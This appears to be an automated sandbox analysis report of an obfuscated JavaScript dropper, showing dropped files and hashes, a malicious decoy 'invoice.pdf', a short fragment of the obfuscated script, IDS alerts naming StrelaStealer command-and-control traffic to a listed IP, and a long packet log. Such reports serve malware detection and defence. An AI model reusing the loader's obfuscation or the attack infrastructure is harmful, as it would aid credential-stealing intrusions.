Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\3e3d1014-26a8-4dfc-86e4-b5ba217c70b5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6b451b01-8bec-446d-8a97-5364ab873f6e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:uoD9WL07oXGZflYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:uy9WLxXGZNZGH3mlind9i4ufFXpAXkru
MD5:	130BE2FD618BFD72EFAE881EB827AE8F
SHA1:	943042DBAF8A8E2F70A79F41F6B0C76880D62803
SHA-256:	647467C57EE2B583A18E9946EA78CEC9265634A35F8A5E584097818DAA596004
SHA-512:	4741A8FC7E59C5260EA1AF15C3C82FA95625FE3CB1025F311C859B4F9732A126826C4E2FFDAACB7CF72CE15DD901AAC4F2152DACDF7AABAD07CA4A901DDEE9BC
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7a1ea71c-f2cb-43d4-8ead-e77bc1dabd0c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:6Dbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WL07oXGZGwYIGNPJF:cb3mlind9i4ufFXpAXkrfUs0jWLxXGZY
MD5:	279B811F8FB7ED83618C0B37825CCF25
SHA1:	5718DA0EF8F5A938CB88800665F18C9B805208B2
SHA-256:	2AF4D3CE45FACE3A6DF83A17E90912767BE01A6F2C96AD8B3F270FDB13F77E46
SHA-512:	74A736359646F91F28AC496DFFF249D0E5B005AA6BB34DAFDDE3C2A29B70D52E6F865239579AC94540AAB0D20BFC03AE6501814358D2122FCB60A4591213A9B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17371), with CRLF line terminators
Entropy (8bit):	4.90762140275961
TrID:
File name:	369248682699819312.js
File size:	20'850 bytes
MD5:	c0605e46cf3de590784b42c614db44b8
SHA1:	cc512fa2361d5ef1490a86bd3a2c62fe02209424
SHA256:	58c58e28d6d65eaab2370a4f4fbe8b30d0576dcf0954491432aca1d64cf396b6
SHA512:	d54d93b7dd14f3a95361de47830513422010bcb9cde0b8106f4d8afbe24d4235a6de8d9c7a88612e82d2e3855ca8234a86459ddc87b469caaf1a27a8330ed7ca
SSDEEP:	384:dkl01pJklzdtqhwISdPhQd+FhdOGoIh+sIObcqZo5sLseG0sOPY/5qj7i7PnZEft:vvh+h1FhdOGoOAtjEjn9MCM61rFH76VC
TLSH:	BE926140A5C9A60281D395C5F7BEB42432F8427CD3E5514C4CA7A54893BE2FB71FBA3A
File Content Preview:	function abhtle(){ndmssykt=[1031,3079,5127,4103,2055,3072];var wcpwgcms=this[jjzxen+tiworl+cloimnfh+uzmviz+racwfov+xspzj+bzghwk+hpayf](this[rejokg+wzbbb+rmocnpsy+cloimnfh+tjocwtho+jjzxen+hpayf][ktzbt+cloimnfh+racwfov+tiworl+hpayf+racwfov+wyzeqrgi+piflyeks

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:23:50.524458+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-11T07:23:50.524458+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-11T07:23:53.210771+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49732	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:23:49.726598978 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:49.731620073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:49.731709003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:49.734097958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:49.738914967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.524382114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.524410009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.524430990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.524449110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.524457932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.524461985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.524493933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.524524927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.524535894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.524549961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.524558067 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.524564028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.524591923 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.524630070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.524662018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.529253006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.529297113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.529335976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.579045057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.579149961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.579222918 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.645566940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.645616055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.645653009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.645684958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.645714998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.645745039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.645765066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.645797968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.645833015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.645853996 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.645868063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.645919085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.646342993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.646415949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.646450996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.646466017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.646483898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.646518946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.646529913 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.646997929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.647053003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.647064924 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.647088051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.647140026 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.647171021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.647206068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.647253990 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.647933960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.647968054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.648001909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.648019075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.648037910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.648075104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.648087978 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.648696899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.648747921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.705919981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.752634048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.752650023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.752662897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.752686977 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.752710104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.766411066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.766439915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.766453981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.766465902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.766482115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.766494989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.766530037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.766659021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.766680956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.766695023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.766700029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.766707897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.766730070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.766731024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.766766071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.767153978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.767210960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.767247915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.767266989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.767302036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.767349958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.767354012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.767390013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.767426014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.767441034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.767462969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.767512083 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.768121004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.768155098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.768188953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.768204927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.768237114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.768270969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.768285990 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.768306017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.768341064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.768353939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.768378973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.768430948 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.769064903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.769121885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.769155979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.769182920 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.769191980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.769248962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.769259930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.769293070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.769326925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.769340992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.769361973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.769411087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.770144939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.770180941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.770215988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.770234108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.792737961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.792752981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.792792082 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.835700035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.839200020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.839226961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.839238882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.839296103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.853048086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.853063107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.853075981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.853096962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.853123903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.873387098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.873404980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.873416901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.873450041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.873460054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.873461962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.873497963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.873553991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.873564005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.873590946 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.887407064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.887440920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.887485027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.887507915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.887536049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.887547970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.887558937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.887615919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.887746096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.887783051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.887795925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.887828112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.887873888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.887886047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.887900114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.887919903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.887952089 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.888263941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888282061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888294935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888310909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888329029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888329983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.888340950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888350964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.888354063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888391018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.888396025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888407946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888420105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888433933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888442993 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.888449907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.888463974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.888494015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.889170885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.889183998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.889197111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.889226913 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.889242887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.889255047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.889266968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.889278889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.889290094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.889314890 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.889355898 CET	80	49711	193.143.1.205	192.168.2.6
